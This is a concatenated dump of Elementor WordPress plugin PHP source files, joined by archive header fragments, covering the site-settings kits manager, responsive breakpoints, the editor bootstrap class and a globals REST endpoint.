$post_css->enqueue(); } /** * Register default tabs (menu pages) for site settings. */ private function register_tabs() { $tabs = [ 'global-colors' => Tabs\Global_Colors::class, 'global-typography' => Tabs\Global_Typography::class, 'theme-style-typography' => Tabs\Theme_Style_Typography::class, 'theme-style-buttons' => Tabs\Theme_Style_Buttons::class, 'theme-style-images' => Tabs\Theme_Style_Images::class, 'theme-style-form-fields' => Tabs\Theme_Style_Form_Fields::class, 'settings-site-identity' => Tabs\Settings_Site_Identity::class, 'settings-background' => Tabs\Settings_Background::class, 'settings-layout' => Tabs\Settings_Layout::class, 'settings-lightbox' => Tabs\Settings_Lightbox::class, 'settings-page-transitions' => Tabs\Settings_Page_Transitions::class, 'settings-custom-css' => Tabs\Settings_Custom_CSS::class, ]; foreach ( $tabs as $id => $class ) { $this->register_tab( $id, $class ); } do_action( 'elementor/kit/register_tabs', $this ); } } core/kits/manager.php000064400000032462147206604650010612 0ustar00documents->get( $kit_id ); if ( ! $this->is_valid_kit( $kit ) ) { return $this->get_empty_kit_instance(); } return $kit; } public function get_active_kit() { return $this->get_kit( $this->get_active_id() ); } public function get_active_kit_for_frontend() { $kit = Plugin::$instance->documents->get_doc_for_frontend( $this->get_active_id() ); if ( ! $this->is_valid_kit( $kit ) ) { return $this->get_empty_kit_instance(); } return $kit; } /** * @param $kit * * @return bool */ private function is_valid_kit( $kit ) { return $kit && $kit instanceof Kit && 'trash' !== $kit->get_main_post()->post_status; } /** * Returns an empty kit for situation when there is no kit in the site. * * @return Kit * @throws \Exception */ private function get_empty_kit_instance() { return new Kit( [ 'settings' => [], 'post_id' => 0, ] ); } /** * Checks if specific post is a kit. * * @param $post_id * * @return bool */ public function is_kit( $post_id ) { $document = Plugin::$instance->documents->get( $post_id ); return $document && $document instanceof Kit && ! $document->is_revision(); } /** * Init kit controls. * * A temp solution in order to avoid init kit group control from within another group control. * * After moving the `default_font` to the kit, the Typography group control cause initialize the kit controls at: https://github.com/elementor/elementor/blob/e6e1db9eddef7e3c1a5b2ba0c2338e2af2a3bfe3/includes/controls/groups/typography.php#L91 * and because the group control is a singleton, its args are changed to the last kit group control. */ public function init_kit_controls() { $this->get_active_kit_for_frontend()->get_settings(); } public function get_current_settings( $setting = null ) { $kit = $this->get_active_kit_for_frontend(); if ( ! $kit ) { return ''; } return $kit->get_settings( $setting ); } public function create( array $kit_data = [], array $kit_meta_data = [] ) { $default_kit_data = [ 'post_status' => 'publish', ]; $kit_data = array_merge( $default_kit_data, $kit_data ); $kit_data['post_type'] = Source_Local::CPT; $kit = Plugin::$instance->documents->create( 'kit', $kit_data, $kit_meta_data ); if ( isset( $kit_data['settings'] ) ) { $kit->save( [ 'settings' => $kit_data['settings'] ] ); } return $kit->get_id(); } public function create_new_kit( $kit_name = '', $settings = [], $active = true ) { $kit_name = $kit_name ? $kit_name : esc_html__( 'Custom', 'elementor' ); $id = $this->create( [ 'post_title' => $kit_name, 'settings' => $settings, ] ); if ( $active ) { update_option( self::OPTION_PREVIOUS, $this->get_active_id() ); update_option( self::OPTION_ACTIVE, $id ); } return $id; } public function create_default() { return $this->create( [ 'post_title' => esc_html__( 'Default Kit', 'elementor' ), ] ); } /** * Create a default kit if needed. * * This action runs on activation hook, all the Plugin components do not exists and * the Document manager and Kits manager instances cannot be used. * * @return int|void|\WP_Error */ public static function create_default_kit() { if ( get_option( self::OPTION_ACTIVE ) ) { return; } $id = wp_insert_post( [ 'post_title' => esc_html__( 'Default Kit', 'elementor' ), 'post_type' => Source_Local::CPT, 'post_status' => 'publish', 'meta_input' => [ '_elementor_edit_mode' => 'builder', Document::TYPE_META_KEY => 'kit', ], ] ); update_option( self::OPTION_ACTIVE, $id ); return $id; } /** * @param $imported_kit_id int The id of the imported kit that should be deleted. * @param $active_kit_id int The id of the kit that should set as 'active_kit' after the deletion. * @param $previous_kit_id int The id of the kit that should set as 'previous_kit' after the deletion. * @return void */ public function revert( int $imported_kit_id, int $active_kit_id, int $previous_kit_id ) { // If the kit that should set as active is not a valid kit then abort the revert. if ( ! $this->is_kit( $active_kit_id ) ) { return; } // This a hacky solution to avoid from the revert process to be interrupted by the `trash_kit_confirmation`. $this->should_skip_trash_kit_confirmation = true; $kit = $this->get_kit( $imported_kit_id ); $kit->force_delete(); $this->should_skip_trash_kit_confirmation = false; update_option( self::OPTION_ACTIVE, $active_kit_id ); if ( $this->is_kit( $previous_kit_id ) ) { update_option( self::OPTION_PREVIOUS, $previous_kit_id ); } } /** * @param Documents_Manager $documents_manager */ public function register_document( $documents_manager ) { $documents_manager->register_document_type( 'kit', Kit::get_class_full_name() ); } public function localize_settings( $settings ) { $kit = $this->get_active_kit(); $kit_controls = $kit->get_controls(); $design_system_controls = [ 'colors' => $kit_controls['system_colors']['fields'], 'typography' => $kit_controls['system_typography']['fields'], ]; $settings = array_replace_recursive( $settings, [ 'kit_id' => $kit->get_main_id(), 'kit_config' => [ 'typography_prefix' => Global_Typography::TYPOGRAPHY_GROUP_PREFIX, 'design_system_controls' => $design_system_controls, ], 'user' => [ 'can_edit_kit' => $kit->is_editable_by_current_user(), ], ] ); return $settings; } public function preview_enqueue_styles() { $kit = $this->get_kit_for_frontend(); if ( $kit ) { // On preview, the global style is not enqueued. $this->frontend_before_enqueue_styles(); Plugin::$instance->frontend->print_fonts_links(); } } public function frontend_before_enqueue_styles() { $kit = $this->get_kit_for_frontend(); if ( $kit ) { if ( $kit->is_autosave() ) { $css_file = Post_Preview::create( $kit->get_id() ); } else { $css_file = Post_CSS::create( $kit->get_id() ); } $css_file->enqueue(); } } public function render_panel_html() { require __DIR__ . '/views/panel.php'; } public function get_kit_for_frontend() { $kit = false; $active_kit = $this->get_active_kit(); $is_kit_preview = is_preview() && isset( $_GET['preview_id'] ) && $active_kit->get_main_id() === (int) $_GET['preview_id']; if ( $is_kit_preview ) { $kit = Plugin::$instance->documents->get_doc_or_auto_save( $active_kit->get_main_id(), get_current_user_id() ); } elseif ( 'publish' === $active_kit->get_main_post()->post_status ) { $kit = $active_kit; } return $kit; } public function update_kit_settings_based_on_option( $key, $value ) { /** @var Kit $active_kit */ $active_kit = $this->get_active_kit(); if ( $active_kit->is_saving() ) { return; } $active_kit->update_settings( [ $key => $value ] ); } /** * Map Scheme To Global * * Convert a given scheme value to its corresponding default global value * * @param string $type 'color'/'typography' * @param $value * @return mixed */ private function map_scheme_to_global( $type, $value ) { $schemes_to_globals_map = [ 'color' => [ '1' => Global_Colors::COLOR_PRIMARY, '2' => Global_Colors::COLOR_SECONDARY, '3' => Global_Colors::COLOR_TEXT, '4' => Global_Colors::COLOR_ACCENT, ], 'typography' => [ '1' => Global_Typography::TYPOGRAPHY_PRIMARY, '2' => Global_Typography::TYPOGRAPHY_SECONDARY, '3' => Global_Typography::TYPOGRAPHY_TEXT, '4' => Global_Typography::TYPOGRAPHY_ACCENT, ], ]; return $schemes_to_globals_map[ $type ][ $value ]; } /** * Convert Scheme to Default Global * * If a control has a scheme property, convert it to a default Global. * * @param $scheme - Control scheme property * @return array - Control/group control args * @since 3.0.0 * @access public */ public function convert_scheme_to_global( $scheme ) { if ( isset( $scheme['type'] ) && isset( $scheme['value'] ) ) { //_deprecated_argument( $args['scheme'], '3.0.0', 'Schemes are now deprecated - use $args[\'global\'] instead.' ); return $this->map_scheme_to_global( $scheme['type'], $scheme['value'] ); } // Typography control 'scheme' properties usually only include the string with the typography value ('1'-'4'). return $this->map_scheme_to_global( 'typography', $scheme ); } public function register_controls() { $controls_manager = Plugin::$instance->controls_manager; $controls_manager->register( new Repeater() ); } public function is_custom_colors_enabled() { return ! get_option( 'elementor_disable_color_schemes' ); } public function is_custom_typography_enabled() { return ! get_option( 'elementor_disable_typography_schemes' ); } /** * Add kit wrapper body class. * * It should be added even for non Elementor pages, * in order to support embedded templates. */ private function add_body_class() { $kit = $this->get_kit_for_frontend(); if ( $kit ) { Plugin::$instance->frontend->add_body_class( 'elementor-kit-' . $kit->get_main_id() ); } } /** * Send a confirm message before move a kit to trash, or if delete permanently not for trash. * * @param $post_id * @param false $is_permanently_delete */ private function before_delete_kit( $post_id, $is_permanently_delete = false ) { if ( $this->should_skip_trash_kit_confirmation ) { return; } $document = Plugin::$instance->documents->get( $post_id ); if ( ! $document || ! $this->is_kit( $post_id ) || isset( $_GET['force_delete_kit'] ) || // phpcs:ignore -- nonce validation is not require here. ( $is_permanently_delete && $document->is_trash() ) ) { return; } ob_start(); require __DIR__ . '/views/trash-kit-confirmation.php'; $confirmation_content = ob_get_clean(); // PHPCS - the content does not contain user input value. wp_die( new \WP_Error( 'cant_delete_kit', $confirmation_content ) ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } /** * Add 'Edit with elementor -> Site Settings' in admin bar. * * @param [] $admin_bar_config * * @return array $admin_bar_config */ private function add_menu_in_admin_bar( $admin_bar_config ) { $document = Plugin::$instance->documents->get( get_the_ID() ); if ( ! $document || ! $document->is_built_with_elementor() ) { $recent_edited_post = Utils::get_recently_edited_posts_query( [ 'posts_per_page' => 1, ] ); if ( $recent_edited_post->post_count ) { $posts = $recent_edited_post->get_posts(); $document = Plugin::$instance->documents->get( reset( $posts )->ID ); } } if ( $document ) { $document_edit_url = add_query_arg( [ 'active-document' => $this->get_active_id(), ], $document->get_edit_url() ); $admin_bar_config['elementor_edit_page']['children'][] = [ 'id' => 'elementor_site_settings', 'title' => esc_html__( 'Site Settings', 'elementor' ), 'sub_title' => esc_html__( 'Site', 'elementor' ), 'href' => $document_edit_url, 'class' => 'elementor-site-settings', 'parent_class' => 'elementor-second-section', ]; } return $admin_bar_config; } public function __construct() { add_action( 'elementor/documents/register', [ $this, 'register_document' ] ); add_filter( 'elementor/editor/localize_settings', [ $this, 'localize_settings' ] ); add_filter( 'elementor/editor/footer', [ $this, 'render_panel_html' ] ); add_action( 'elementor/frontend/after_enqueue_styles', [ $this, 'frontend_before_enqueue_styles' ], 0 ); add_action( 'elementor/preview/enqueue_styles', [ $this, 'preview_enqueue_styles' ], 0 ); add_action( 'elementor/controls/register', [ $this, 'register_controls' ] ); add_action( 'wp_trash_post', function ( $post_id ) { $this->before_delete_kit( $post_id ); } ); add_action( 'before_delete_post', function ( $post_id ) { $this->before_delete_kit( $post_id, true ); } ); add_action( 'update_option_blogname', function ( $old_value, $value ) { $this->update_kit_settings_based_on_option( 'site_name', $value ); }, 10, 2 ); add_action( 'update_option_blogdescription', function ( $old_value, $value ) { $this->update_kit_settings_based_on_option( 'site_description', $value ); }, 10, 2 ); add_action( 'wp_head', function() { $this->add_body_class(); } ); add_filter( 'elementor/frontend/admin_bar/settings', function ( $admin_bar_config ) { return $this->add_menu_in_admin_bar( $admin_bar_config ); }, 9 /* Before site-editor (theme-builder) */ ); } } core/kits/views/trash-kit-confirmation.php000064400000003157147206604650014730 0ustar00 '1' ], get_delete_post_link( $post_id, '', $is_permanently_delete ) ); ?>


core/kits/views/panel.php000064400000003213147206604650011424 0ustar00 core/kits/controls/repeater.php000064400000003142147206604650012643 0ustar00
<# if ( itemActions.add ) { #>
<# } #> 0, 'sm' => 480, 'md' => 768, 'lg' => 1025, 'xl' => 1440, 'xxl' => 1600, ]; /** * Editable breakpoint keys. * * Holds the editable breakpoint keys. * * @since 1.0.0 * @deprecated 3.2.0 * @access private * @static * * @var array Editable breakpoint keys. */ private static $editable_breakpoints_keys = [ 'md', 'lg', ]; /** * Get default breakpoints. * * Retrieve the default responsive breakpoints. * * @since 1.0.0 * @deprecated 3.2.0 Use `Elementor\Core\Breakpoints\Manager::get_default_config()` instead. * @access public * @static * * @return array Default breakpoints. */ public static function get_default_breakpoints() { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.2.0', 'Elementor\Core\Breakpoints\Manager::get_default_config()' ); return self::$default_breakpoints; } /** * Get editable breakpoints. * * Retrieve the editable breakpoints. * * @since 1.0.0 * @deprecated 3.2.0 * @access public * @static * * @return array Editable breakpoints. */ public static function get_editable_breakpoints() { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.2.0' ); return array_intersect_key( self::get_breakpoints(), array_flip( self::$editable_breakpoints_keys ) ); } /** * Get breakpoints. * * Retrieve the responsive breakpoints. * * @since 1.0.0 * @deprecated 3.2.0 * @access public * @static * * @return array Responsive breakpoints. */ public static function get_breakpoints() { return array_reduce( array_keys( self::$default_breakpoints ), function( $new_array, $breakpoint_key ) { if ( ! in_array( $breakpoint_key, self::$editable_breakpoints_keys ) ) { $new_array[ $breakpoint_key ] = self::$default_breakpoints[ $breakpoint_key ]; } else { $saved_option = Plugin::$instance->kits_manager->get_current_settings( self::BREAKPOINT_OPTION_PREFIX . $breakpoint_key ); $new_array[ $breakpoint_key ] = $saved_option ? (int) $saved_option : self::$default_breakpoints[ $breakpoint_key ]; } return $new_array; }, [] ); } /** * @since 2.1.0 * @deprecated 3.2.0 Use `Plugin::$instance->breakpoints->has_custom_breakpoints()` instead. * @access public * @static */ public static function has_custom_breakpoints() { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.2.0', 'Plugin::$instance->breakpoints->has_custom_breakpoints()' ); return ! ! array_diff( self::$default_breakpoints, self::get_breakpoints() ); } /** * @since 2.1.0 * @deprecated 3.2.0 Use `Elementor\Core\Breakpoints\Manager::get_stylesheet_templates_path()` instead. * @access public * @static */ public static function get_stylesheet_templates_path() { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.2.0', 'Elementor\Core\Breakpoints\Manager::get_stylesheet_templates_path()' ); return Breakpoints_Manager::get_stylesheet_templates_path(); } /** * @since 2.1.0 * @deprecated 3.2.0 Use `Elementor\Core\Breakpoints\Manager::compile_stylesheet_templates()` instead. * @access public * @static */ public static function compile_stylesheet_templates() { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.2.0', 'Elementor\Core\Breakpoints\Manager::compile_stylesheet_templates()' ); Breakpoints_Manager::compile_stylesheet_templates(); } } core/responsive/files/frontend.php000064400000011550147206604650013337 0ustar00template_file = $template_file; parent::__construct( $file_name ); } /** * @since 2.1.0 * @access public */ public function parse_content() { $breakpoints = Plugin::$instance->breakpoints->get_active_breakpoints(); $breakpoints_keys = array_keys( $breakpoints ); $file_content = Utils::file_get_contents( $this->template_file ); // The regex pattern parses placeholders located in the frontend _templates.scss file. $file_content = preg_replace_callback( '/ELEMENTOR_SCREEN_([A-Z_]+)(?:_(MIN|MAX|NEXT))/', function ( $placeholder_data ) use ( $breakpoints_keys, $breakpoints ) { // Handle BC for legacy template files and Elementor Pro builds. $placeholder_data = $this->maybe_convert_placeholder_data( $placeholder_data ); $breakpoint_index = array_search( strtolower( $placeholder_data[1] ), $breakpoints_keys, true ); if ( 'DESKTOP' === $placeholder_data[1] ) { if ( 'MIN' === $placeholder_data[2] ) { $value = Plugin::$instance->breakpoints->get_desktop_min_point(); } elseif ( isset( $breakpoints['widescreen'] ) ) { // If the 'widescreen' breakpoint is active, the Desktop's max value is the Widescreen breakpoint - 1px. $value = $breakpoints['widescreen']->get_value() - 1; } else { // If the 'widescreen' breakpoint is not active, the Desktop device should not have a max value. $value = 99999; } } elseif ( false === $breakpoint_index ) { // If the breakpoint in the placeholder is not active - use a -1 value for the media query, to make // sure the setting is printed (to avoid a PHP error) but doesn't apply. return -1; } elseif ( 'WIDESCREEN' === $placeholder_data[1] ) { $value = $breakpoints['widescreen']->get_value(); } else { $breakpoint_index = array_search( strtolower( $placeholder_data[1] ), $breakpoints_keys, true ); $is_max_point = 'MAX' === $placeholder_data[2]; // If the placeholder capture is `MOBILE_NEXT` or `TABLET_NEXT`, the original breakpoint value is used. if ( ! $is_max_point && 'NEXT' !== $placeholder_data[2] ) { $breakpoint_index--; } $value = $breakpoints[ $breakpoints_keys[ $breakpoint_index ] ]->get_value(); if ( ! $is_max_point ) { $value++; } } return $value . 'px'; }, $file_content ); return $file_content; } /** * Load meta. * * Retrieve the file meta data. * * @since 2.1.0 * @access protected */ protected function load_meta() { $option = $this->load_meta_option(); $file_meta_key = $this->get_file_meta_key(); if ( empty( $option[ $file_meta_key ] ) ) { return []; } return $option[ $file_meta_key ]; } /** * Update meta. * * Update the file meta data. * * @since 2.1.0 * @access protected * * @param array $meta New meta data. */ protected function update_meta( $meta ) { $option = $this->load_meta_option(); $option[ $this->get_file_meta_key() ] = $meta; update_option( static::META_KEY, $option ); } /** * Delete meta. * * Delete the file meta data. * * @since 2.1.0 * @access protected */ protected function delete_meta() { $option = $this->load_meta_option(); $file_meta_key = $this->get_file_meta_key(); if ( isset( $option[ $file_meta_key ] ) ) { unset( $option[ $file_meta_key ] ); } if ( $option ) { update_option( static::META_KEY, $option ); } else { delete_option( static::META_KEY ); } } /** * @since 2.1.0 * @access private */ private function get_file_meta_key() { return pathinfo( $this->get_file_name(), PATHINFO_FILENAME ); } /** * @since 2.1.0 * @access private */ private function load_meta_option() { $option = get_option( static::META_KEY ); if ( ! $option ) { $option = []; } return $option; } /** * Maybe Convert Placeholder Data * * Converts responsive placeholders in Elementor CSS template files from the legacy format into the new format. * Used for backwards compatibility for old Pro versions that were built with an Elementor Core version <3.2.0. * * @since 3.2.3 * * @param $placeholder_data * @return mixed */ private function maybe_convert_placeholder_data( $placeholder_data ) { switch ( $placeholder_data[1] ) { case 'SM': $placeholder_data[1] = 'MOBILE'; break; case 'MD': $placeholder_data[1] = 'TABLET'; break; case 'LG': $placeholder_data[1] = 'DESKTOP'; } return $placeholder_data; } } core/editor/editor.php000064400000037267147206604650011012 0ustar00set_post_id( absint( $_REQUEST['post'] ) ); if ( ! $this->is_edit_mode( $this->post_id ) ) { return; } // BC: From 2.9.0, the editor shouldn't handle the global post / current document. // Use requested id and not the global in order to avoid conflicts with plugins that changes the global post. query_posts( [ 'p' => $this->post_id, 'post_type' => get_post_type( $this->post_id ), ] ); Plugin::$instance->db->switch_to_post( $this->post_id ); $document = Plugin::$instance->documents->get( $this->post_id ); Plugin::$instance->documents->switch_to_document( $document ); // Change mode to Builder $document->set_is_built_with_elementor( true ); // End BC. Loading_Inspection_Manager::instance()->register_inspections(); // Send MIME Type header like WP admin-header. @header( 'Content-Type: ' . get_option( 'html_type' ) . '; charset=' . get_option( 'blog_charset' ) ); add_filter( 'show_admin_bar', '__return_false' ); // Remove all WordPress actions remove_all_actions( 'wp_head' ); remove_all_actions( 'wp_print_styles' ); remove_all_actions( 'wp_print_head_scripts' ); remove_all_actions( 'wp_footer' ); // Handle `wp_head` add_action( 'wp_head', 'wp_enqueue_scripts', 1 ); add_action( 'wp_head', 'wp_print_styles', 8 ); add_action( 'wp_head', 'wp_print_head_scripts', 9 ); add_action( 'wp_head', 'wp_site_icon' ); add_action( 'wp_head', [ $this, 'editor_head_trigger' ], 30 ); // Handle `wp_footer` add_action( 'wp_footer', 'wp_print_footer_scripts', 20 ); add_action( 'wp_footer', 'wp_auth_check_html', 30 ); add_action( 'wp_footer', [ $this, 'wp_footer' ] ); // Handle `wp_enqueue_scripts` remove_all_actions( 'wp_enqueue_scripts' ); // Also remove all scripts hooked into after_wp_tiny_mce. remove_all_actions( 'after_wp_tiny_mce' ); add_action( 'wp_enqueue_scripts', [ $this, 'enqueue_scripts' ], 999999 ); add_action( 'wp_enqueue_scripts', [ $this, 'enqueue_styles' ], 999999 ); // Setup default heartbeat options add_filter( 'heartbeat_settings', function( $settings ) { $settings['interval'] = 15; return $settings; } ); // Tell to WP Cache plugins do not cache this request. Utils::do_not_cache(); do_action( 'elementor/editor/init' ); $this->get_loader()->print_root_template(); // From the action it's an empty string, from tests its `false` if ( false !== $die ) { die; } } /** * Retrieve post ID. * * Get the ID of the current post. * * @since 1.8.0 * @access public * * @return int Post ID. */ public function get_post_id() { return $this->post_id; } /** * Redirect to new URL. * * Used as a fallback function for the old URL structure of Elementor page * edit URL. * * Fired by `template_redirect` action. * * @since 1.6.0 * @access public */ public function redirect_to_new_url() { if ( ! isset( $_GET['elementor'] ) ) { return; } $document = Plugin::$instance->documents->get( get_the_ID() ); if ( ! $document ) { wp_die( esc_html__( 'Document not found.', 'elementor' ) ); } if ( ! $document->is_editable_by_current_user() || ! $document->is_built_with_elementor() ) { return; } wp_safe_redirect( $document->get_edit_url() ); die; } /** * Whether the edit mode is active. * * Used to determine whether we are in the edit mode. * * @since 1.0.0 * @access public * * @param int $post_id Optional. Post ID. Default is `null`, the current * post ID. * * @return bool Whether the edit mode is active. */ public function is_edit_mode( $post_id = null ) { if ( null !== $this->is_edit_mode ) { return $this->is_edit_mode; } if ( empty( $post_id ) ) { $post_id = $this->post_id; } $document = Plugin::$instance->documents->get( $post_id ); if ( ! $document || ! $document->is_editable_by_current_user() ) { return false; } /** @var Module ajax */ $ajax_data = Plugin::$instance->common->get_component( 'ajax' )->get_current_action_data(); if ( ! empty( $ajax_data ) && 'get_document_config' === $ajax_data['action'] ) { return true; } // Ajax request as Editor mode $actions = [ 'elementor', // Templates 'elementor_get_templates', 'elementor_save_template', 'elementor_get_template', 'elementor_delete_template', 'elementor_import_template', 'elementor_library_direct_actions', ]; if ( isset( $_REQUEST['action'] ) && in_array( $_REQUEST['action'], $actions ) ) { return true; } return false; } /** * Lock post. * * Mark the post as currently being edited by the current user. * * @since 1.0.0 * @access public * * @param int $post_id The ID of the post being edited. */ public function lock_post( $post_id ) { if ( ! function_exists( 'wp_set_post_lock' ) ) { require_once ABSPATH . 'wp-admin/includes/post.php'; } wp_set_post_lock( $post_id ); } /** * Get locked user. * * Check what user is currently editing the post. * * @since 1.0.0 * @access public * * @param int $post_id The ID of the post being edited. * * @return \WP_User|false User information or false if the post is not locked. */ public function get_locked_user( $post_id ) { if ( ! function_exists( 'wp_check_post_lock' ) ) { require_once ABSPATH . 'wp-admin/includes/post.php'; } $locked_user = wp_check_post_lock( $post_id ); if ( ! $locked_user ) { return false; } return get_user_by( 'id', $locked_user ); } /** * NOTICE: This method not in use, it's here for backward compatibility. * * Print Editor Template. * * Include the wrapper template of the editor. * * @since 2.2.0 * @access public */ public function print_editor_template() { include ELEMENTOR_PATH . 'includes/editor-templates/editor-wrapper.php'; } /** * Enqueue scripts. * * Registers all the editor scripts and enqueues them. * * @since 1.0.0 * @access public */ public function enqueue_scripts() { remove_action( 'wp_enqueue_scripts', [ $this, __FUNCTION__ ], 999999 ); global $wp_styles, $wp_scripts; // Reset global variable $wp_styles = new \WP_Styles(); // phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited $wp_scripts = new \WP_Scripts(); // phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited $this->get_loader()->register_scripts(); /** * Before editor enqueue scripts. * * Fires before Elementor editor scripts are enqueued. * * @since 1.0.0 */ do_action( 'elementor/editor/before_enqueue_scripts' ); // Tweak for WP Admin menu icons wp_print_styles( 'editor-buttons' ); $this->get_loader()->enqueue_scripts(); Plugin::$instance->controls_manager->enqueue_control_scripts(); /** * After editor enqueue scripts. * * Fires after Elementor editor scripts are enqueued. * * @since 1.0.0 */ do_action( 'elementor/editor/after_enqueue_scripts' ); } /** * Enqueue styles. * * Registers all the editor styles and enqueues them. * * @since 1.0.0 * @access public */ public function enqueue_styles() { /** * Before editor enqueue styles. * * Fires before Elementor editor styles are enqueued. * * @since 1.0.0 */ do_action( 'elementor/editor/before_enqueue_styles' ); $this->get_loader()->register_styles(); $this->get_loader()->enqueue_styles(); $this->enqueue_theme_ui_styles(); $breakpoints = Plugin::$instance->breakpoints->get_breakpoints(); // The two breakpoints under 'tablet' need to be checked for values. if ( $breakpoints[ Breakpoints_Manager::BREAKPOINT_KEY_MOBILE ]->is_custom() || $breakpoints[ Breakpoints_Manager::BREAKPOINT_KEY_MOBILE_EXTRA ]->is_enabled() ) { wp_add_inline_style( 'elementor-editor', '.elementor-device-tablet #elementor-preview-responsive-wrapper { width: ' . Plugin::$instance->breakpoints->get_device_min_breakpoint( Breakpoints_Manager::BREAKPOINT_KEY_TABLET ) . 'px; }' ); } /** * After editor enqueue styles. * * Fires after Elementor editor styles are enqueued. * * @since 1.0.0 */ do_action( 'elementor/editor/after_enqueue_styles' ); } private function enqueue_theme_ui_styles() { $ui_theme_selected = SettingsManager::get_settings_managers( 'editorPreferences' )->get_model()->get_settings( 'ui_theme' ); $ui_themes = [ 'light', 'dark', ]; if ( 'auto' === $ui_theme_selected || ! in_array( $ui_theme_selected, $ui_themes, true ) ) { $ui_light_theme_media_queries = '(prefers-color-scheme: light)'; $ui_dark_theme_media_queries = '(prefers-color-scheme: dark)'; } else { $ui_light_theme_media_queries = 'none'; $ui_dark_theme_media_queries = 'none'; if ( 'light' === $ui_theme_selected ) { $ui_light_theme_media_queries = 'all'; } elseif ( 'dark' === $ui_theme_selected ) { $ui_dark_theme_media_queries = 'all'; } } $this->enqueue_theme_ui( 'light', $ui_light_theme_media_queries ); $this->enqueue_theme_ui( 'dark', $ui_dark_theme_media_queries ); } private function enqueue_theme_ui( $ui_theme, $ui_theme_media_queries = 'all' ) { $suffix = Utils::is_script_debug() ? '' : '.min'; wp_enqueue_style( 'e-theme-ui-' . $ui_theme, ELEMENTOR_ASSETS_URL . 'css/theme-' . $ui_theme . $suffix . '.css', [], ELEMENTOR_VERSION, $ui_theme_media_queries ); } /** * Editor head trigger. * * Fires the 'elementor/editor/wp_head' action in the head tag in Elementor * editor. * * @since 1.0.0 * @access public */ public function editor_head_trigger() { /** * Elementor editor head. * * Fires on Elementor editor head tag. * * Used to prints scripts or any other data in the head tag. * * @since 1.0.0 */ do_action( 'elementor/editor/wp_head' ); } /** * WP footer. * * Prints Elementor editor with all the editor templates, and render controls, * widgets and content elements. * * Fired by `wp_footer` action. * * @since 1.0.0 * @access public */ public function wp_footer() { $plugin = Plugin::$instance; $plugin->controls_manager->render_controls(); $plugin->widgets_manager->render_widgets_content(); $plugin->elements_manager->render_elements_content(); $plugin->dynamic_tags->print_templates(); $this->get_loader()->register_additional_templates(); /** * Elementor editor footer. * * Fires on Elementor editor before closing the body tag. * * Used to prints scripts or any other HTML before closing the body tag. * * @since 1.0.0 */ do_action( 'elementor/editor/footer' ); } /** * Set edit mode. * * Used to update the edit mode. * * @since 1.0.0 * @access public * * @param bool $edit_mode Whether the edit mode is active. */ public function set_edit_mode( $edit_mode ) { $this->is_edit_mode = $edit_mode; } /** * Editor constructor. * * Initializing Elementor editor and redirect from old URL structure of * Elementor editor. * * @since 1.0.0 * @access public */ public function __construct() { Plugin::$instance->data_manager_v2->register_controller( new Data\Globals\Controller() ); $this->notice_bar = new Notice_Bar(); $this->promotion = new Promotion(); add_action( 'admin_action_elementor', [ $this, 'init' ] ); add_action( 'template_redirect', [ $this, 'redirect_to_new_url' ] ); // Handle autocomplete feature for URL control. add_filter( 'wp_link_query_args', [ $this, 'filter_wp_link_query_args' ] ); add_filter( 'wp_link_query', [ $this, 'filter_wp_link_query' ] ); } /** * @since 2.2.0 * @access public */ public function filter_wp_link_query_args( $query ) { $library_cpt_key = array_search( Source_Local::CPT, $query['post_type'], true ); if ( false !== $library_cpt_key ) { unset( $query['post_type'][ $library_cpt_key ] ); } return $query; } /** * @since 2.2.0 * @access public */ public function filter_wp_link_query( $results ) { // PHPCS - The user data is not used. if ( isset( $_POST['editor'] ) && 'elementor' === $_POST['editor'] ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing $post_type_object = get_post_type_object( 'post' ); $post_label = $post_type_object->labels->singular_name; foreach ( $results as & $result ) { if ( 'post' === get_post_type( $result['ID'] ) ) { $result['info'] = $post_label; } } } return $results; } public function set_post_id( $post_id ) { $this->post_id = $post_id; } /** * Get loader. * * @return Editor_Loader_Interface */ private function get_loader() { if ( ! $this->loader ) { $this->loader = Editor_Loader_Factory::create(); $this->loader->init(); } return $this->loader; } /** * Get elements presets. * * @return array */ public function get_elements_presets() { $element_types = Plugin::$instance->elements_manager->get_element_types(); $presets = []; foreach ( $element_types as $el_type => $element ) { $this->check_element_for_presets( $element, $el_type, $presets ); } return $presets; } /** * @return void */ private function check_element_for_presets( $element, $el_type, &$presets ) { $element_presets = $element->get_panel_presets(); if ( empty( $element_presets ) ) { return; } foreach ( $element_presets as $key => $preset ) { $this->maybe_add_preset( $el_type, $preset, $key, $presets ); } } /** * @return void */ private function maybe_add_preset( $el_type, $preset, $key, &$presets ) { if ( $this->is_valid_preset( $el_type, $preset ) ) { $presets[ $key ] = $preset; } } /** * @return boolean */ private function is_valid_preset( $el_type, $preset ) { return isset( $preset['replacements']['custom']['originalWidget'] ) && $el_type === $preset['replacements']['custom']['originalWidget']; } } core/editor/data/globals/endpoints/base.php000064400000003200147206604650014751 0ustar00 '[\w]+', ]; $this->register_item_route( \WP_REST_Server::READABLE, $args ); $this->register_item_route( \WP_REST_Server::CREATABLE, $args ); $this->register_item_route( \WP_REST_Server::DELETABLE, $args ); } public function get_items( $request ) { return $this->get_kit_items(); } /** * @inheritDoc * @throws \Elementor\Data\V2\Base\Exceptions\Error_404 */ public function get_item( $id, $request ) { $items = $this->get_kit_items(); if ( ! isset( $items[ $id ] ) ) { throw new Error_404( esc_html__( 'The Global value you are trying to use is not available.', 'elementor' ), 'global_not_found' ); } return $items[ $id ]; } public function create_item( $id, $request ) { $item = $request->get_body_params(); if ( ! isset( $item['title'] ) ) { return new Data_Exception( esc_html__( 'Invalid title', 'elementor' ), 'invalid_title' ); } $kit = Plugin::$instance->kits_manager->get_active_kit(); $item['id'] = $id; $db_item = $this->convert_db_format( $item ); $kit->add_repeater_row( 'custom_' . $this->get_name(), $db_item ); return $item; } abstract protected function get_kit_items(); /** * @param array $item frontend format. * @return array backend format. */ abstract protected function convert_db_format( $item ); } 